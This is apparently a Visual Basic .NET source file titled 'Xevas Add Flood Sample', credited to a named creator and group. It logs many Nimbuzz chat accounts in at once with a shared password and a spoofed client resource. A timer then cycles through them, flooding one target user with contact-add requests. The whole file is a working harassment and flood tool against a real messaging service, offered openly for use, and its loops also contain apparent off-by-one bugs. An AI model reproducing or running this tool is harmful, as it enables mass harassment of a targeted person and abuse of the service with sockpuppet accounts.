﻿'Project: Xevas Add Flood Sample
'Creator: Red_Toxic@nimbuzz.com
'Team: Xevas Group
'Forum: www.xevas.tk

Imports agsXMPP ' importing socket library
Imports System.Collections
Imports System.Collections.Generic ' importing list maker of sockets.
Public Class Form1

    Private Red As List(Of XmppClientConnection) = New List(Of XmppClientConnection) ' list for collecting all sockets in one.
    Private ResRnd As New Random ' Random char generator. we taking this for resource generating.
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        On Error Resume Next
        Control.CheckForIllegalCrossThreadCalls = False
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        On Error Resume Next
        Red.Clear() ' clearing socket list
        Dim id As String() = TextBox3.Text.Split(New Char() {"#"c}) ' splitting ids with # char
        For i As Integer = 0 To id.Length
            Dim tx As New XmppClientConnection With {
                .Server = "nimbuzz.com",
                .ConnectServer = "o.nimbuzz.com",
                .Username = id(i),
                .Resource = "Nimbuzz_Symbian" & ResRnd.Next(111, 999).ToString(),
                .Password = TextBox2.Text
                }
            tx.Open()
            AddHandler tx.OnLogin, New ObjectHandler(AddressOf RD_Login)
            AddHandler tx.OnAuthError, New XmppElementHandler(AddressOf RD_Fail)
            Red.Add(tx)
        Next
    End Sub

    Private Sub RD_Login(ByVal s As Object)
        On Error Resume Next
        ListBox1.Items.Insert(0, CType(s, XmppClientConnection).Username & " = Success")
    End Sub

    Private Sub RD_Fail(ByVal s As Object, ByVal e As Xml.Dom.Element)
        On Error Resume Next
        ListBox1.Items.Insert(0, CType(s, XmppClientConnection).Username & " = Failed")
        Red.Remove(CType(s, XmppClientConnection)) ' Removing blocked or invalid id's socket from sockets list.
    End Sub
    Dim Val As Integer = 0
    Private Sub AddSender_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AddSender.Tick
        Try
            Red.Item(Val).RosterManager.AddRosterItem(New Jid(TextBox1.Text & "@nimbuzz.com"))
            Val += 1
            ListBox1.Items.Insert(0, Red(Val).Username & " > " & " Add Sent To " & TextBox1.Text)
            If Val = Red.Count Then Val = 0
        Catch ex As Exception
            ListBox1.Items.Insert(0, Red(Val).Username & " > " & " Add Sent Failed " & TextBox1.Text)
        End Try
    End Sub

    Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
        Select Case CheckBox1.Checked
            Case True
                Val = 0
                AddSender.Start()
            Case False
                AddSender.Stop()
        End Select
    End Sub
End Class
